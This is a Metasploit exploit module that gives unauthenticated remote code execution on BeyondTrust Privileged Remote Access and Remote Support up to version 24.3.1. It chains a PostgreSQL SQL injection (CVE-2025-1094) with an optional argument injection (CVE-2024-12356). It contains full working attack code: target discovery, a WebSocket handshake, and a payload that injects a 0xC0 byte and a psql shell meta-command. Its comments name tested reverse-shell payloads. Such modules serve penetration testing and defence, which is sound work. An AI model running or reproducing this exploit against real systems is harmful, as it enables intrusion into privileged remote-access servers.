##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Rex::Proto::Http::WebSocket
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
'Description' => %q{
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
product site. This exploit targets PRA and RS versions 24.3.1 and below.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7' # Rapid7 Analysis and Metasploit module
],
'References' => [
['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356.
['CVE', '2025-1094'], # The SQL injection in PostgreSQL code.
['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory
['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory
['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis
],
'DisclosureDate' => '2024-12-16',
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the site user.
'Targets' => [
[
'Default', {
'Payload' => {
'DisableNops' => true,
# Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes
# getting escaped unexpectedly. The server may be configured to escape double quotes (not by default).
# We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged.
'BadChars' => '\'"\\'
}
}
]
],
# NOTE: Tested with the following payloads:
# cmd/linux/http/x64/meterpreter/reverse_tcp
# cmd/unix/reverse_bash
# cmd/unix/generic
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/var/tmp',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_advanced_options(
[
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']),
OptBool.new('LeverageCVE_2024_12356', [false, 'By default, this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'get_rdf'),
'vars_get' => {
'comp' => 'sdcust',
'locale_code' => 'en-us'
}
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
# The HTTP content data will have something like this, followed by ~800Kb of string data:
# 00000000 30 20 53 75 63 63 65 73 73 66 75 6c 0a 65 6e 2d |0 Successful.en-|
# 00000010 75 73 0a 31 37 33 37 33 36 38 38 37 32 0a 42 52 |us.1737368872.BR|
# 00000020 44 46 80 00 0a 91 07 81 32 34 2e 31 2e 32 00 82 |DF......24.1.2..|
# 00000030 00 00 00 00 67 8e 25 28 91 06 83 65 6e 2d 75 73 |....g.%(...en-us|
# First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we use a regex to match this so we can ignore it.
header = res.body.match(/^(0 Successful\n.+\n\d+\n)/)
return CheckCode::Unknown('Unexpected response header') unless header
# Extract the remainder of the data, after the "0 Successful\nLOCALE_ID\nTIMESTAMP\n" pre-amble.
brdf_data = res.body[header[1].length..]
return CheckCode::Unknown('Unexpected response data') unless brdf_data.include? 'Thank you for using BeyondTrust'
# Pull out the magic value (4 bytes), the first tag and its value (file version, 3 bytes), and then the second tag
# and its value (product version). The product version is encoded as a string, so has two tags, one for the
# string type (0x91) and the other for the tag type (0x81).
magic, _, _, prod_version_tag1, file_version_data_len, file_version_tag2 = brdf_data.unpack('NCvCCC')
# Inspect the data to ensure it looks like what we expect.
return CheckCode::Unknown('Unexpected header magic') unless magic == 0x42524446 # BRDF
return CheckCode::Unknown('Unexpected header prod_version_tag1') unless prod_version_tag1 == 0x91 # RDF_SMALL_SIZE
return CheckCode::Unknown('Unexpected header file_version_tag2') unless file_version_tag2 == 0x81 # RDF_PRODUCT_VERSION
product_version = brdf_data[10, file_version_data_len - 1]
# We cannot differentiate between the two affected products, Privileged Remote Access (PRA) and Remote Support (RS).
# However, they both share a common version number, and a common patch for this vulnerability.
#
# Note #1: The vendor advisory only states that versions "24.3.1 and earlier" are affected, so we do not have a lower
# bound version number to test against.
#
# Note #2: The vendor supplied a patch (BT24-10-ONPREM1 or BT24-10-ONPREM2) to remediate the issue, in lieu of an
# updated product release. This patch does not change the products version number, so we cannot tell via a version
# based check if a target is actually vulnerable, therefore we can only report CheckCode::Appears.
if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1')
return CheckCode::Appears("Detected version #{product_version}")
end
CheckCode::Safe
end
def exploit
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
# establish a WebSocket connection to the target site application. By default, we query the target site to
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
site_info = get_site_info
if site_info.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
end
vprint_status("Company name: #{site_info[:company]}")
vprint_status("Site FQDN: #{site_info[:server]}")
headers = {
# This is the vulnerable application which is reachable over a WebSocket to the target site.
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
}
if !site_info[:company].blank?
print_status("Using company name: #{site_info[:company]}")
headers['X-Ns-Company'] = site_info[:company]
elsif !site_info[:server].blank?
print_status("Using site FQDN: #{site_info[:server]}")
headers['Host'] = site_info[:server]
else
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
end
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nw'),
'headers' => headers
)
# Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a
# lower version of 1, we expect to be able to exploit older versions of the affected products which do not support
# version 2.
wsock.put_wstext("1\n")
# Transmit a random UUID value for the 'thin mint' cookie value.
wsock.put_wstext("#{SecureRandom.uuid}\n")
# Transmit the auth type we want. Zero is the gskey auth type.
wsock.put_wstext("0\n")
# NOTE: We can bypass the need to leverage the argument injection CVE-2024-12356, by transmitting the malicious gskey
# value via a binary WebSocket message, instead of a text WebSocket message. We include a module option (false by
# default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356.
if datastore['LeverageCVE_2024_12356']
vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi (CVE-2025-1094)...')
# Transmit the malicious gskey value and exploit the argument injection vulnerability.
# Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass
# arbitrary arguments to echo (CVE-2024-12356). We pass the -e switch, to enable the interpretation of backslash
# escape sequences. We leverage this to pass an 0xC0 character, this will break the interpretation of a
# PostgreSQL statement (CVE-2025-1094), and in turn allow us to overcome the safe quotes that have been put in
# place. We can escape the current SQL statement and run an arbitrary PostgreSQL client meta-command. By running
# a \! meta-command, we can execute and arbitrary shell command.
wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n")
else
vprint_status('Triggering the SQLi (CVE-2025-1094) directly (Without CVE-2024-12356)...')
# Leverage the SQLi (CVE-2025-1094) directly, by placing the raw byte value 0xC0 in the gskey value that
# we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message.
wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n")
end
# The vendor patch BT24-10-ONPREM1 will detect a malformed gskey value, and terminate the thin-scc-wrapper script
# early, tearing down the WebSocket connection. We can detect this here and warn the user that the target may
# actually be patched. As the patch does not change the servers version number, we cannot detect the patch via a
# version based check.
while wsock.has_read_data? datastore['WFSDELAY']
frame = wsock.get_wsframe
break if frame.nil?
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.')
break
end
end
wsock.wsclose
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
if e.http_response && !e.http_response.body.blank?
if e.http_response.body == 'Invalid company or app name'
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
else
print_error(e.http_response.body)
end
end
raise
end
# We need to know the target sites company name, or FQDN, in order to successfully establish a WebSocket connection.
# We first favor the user setting either the TargetCompanyName or TargetServerFQDN options. If not set we then try
# an undocumented API endpoint /get_mech_list, that should return the target site company name. Finally, we fall
# back on the /download_client_connector endpoint which will also report a servername and site FQDN.
def get_site_info
if !datastore['TargetCompanyName'].blank? || !datastore['TargetServerFQDN'].blank?
return {
company: datastore['TargetCompanyName'],
server: datastore['TargetServerFQDN']
}
end
site_info = get_site_info_via_mech_list
return site_info unless site_info.nil?
get_site_info_via_download_client_connector
end
# An internal un-documented API located at the /get_mech_list endpoint will return a JSON object that
# contains the company name of the target site.
def get_site_info_via_mech_list
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'get_mech_list'),
'vars_get' => {
'version' => '3'
},
'headers' => {
'Accept' => 'application/json'
}
)
return error('get_site_info_via_mech_list Connection failed.') unless res
return error("get_site_info_via_mech_list Request unexpected response code #{res.code}.") unless res.code == 200
json_data = res.get_json_document
company = json_data['company']
return error('get_site_info_via_mech_list company not found.') if company.blank?
vprint_status('Got site info via the /get_mech_list endpoint.')
{ company: company, server: nil }
end
def get_site_info_via_download_client_connector
res1 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'download_client_connector'),
'vars_get' => {
'issue_menu' => '1'
}
)
return error('get_site_info Connection 1 failed.') unless res1
return error("get_site_info Request 1, unexpected response code #{res1.code}.") unless res1.code == 200
return error('get_site_info_via_download_client_connector Request 1, unable to match data-html-url') unless res1.body =~ %r{data-html-url="\S+(/chat/html/\S+)"}i
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, Rex::Text.html_decode(::Regexp.last_match(1)))
)
return error('get_site_info_via_download_client_connector Connection 2 failed.') unless res2
return error("get_site_info_via_download_client_connector Request 2, unexpected response code #{res2.code}.") unless res2.code == 200
return error('get_site_info_via_download_client_connector Request 2, unable to match data-company.') unless res2.body =~ /data-company="(\S+)"/i
company = Rex::Text.html_decode(::Regexp.last_match(1))
return error('get_site_info_via_download_client_connector Request 2, unable to match data-servers.') unless res2.body =~ /data-servers="(\S+)"/i
servers = Rex::Text.html_decode(::Regexp.last_match(1))
servers_array = JSON.parse(servers)
return error('get_site_info_via_download_client_connector Request 2, data-servers not a valid array.') unless servers_array.instance_of? Array
return error('get_site_info_via_download_client_connector Request 2, data-servers is an empty array.') if servers_array.empty?
server = servers_array.first
vprint_status('Got site info via the /download_client_connector endpoint.')
{ company: company, server: server }
rescue JSON::ParserError
error('get_site_info_via_download_client_connector JSON parse error.')
end
# Helper method to print an error and then return nil.
def error(message)
print_error(message)
nil
end
end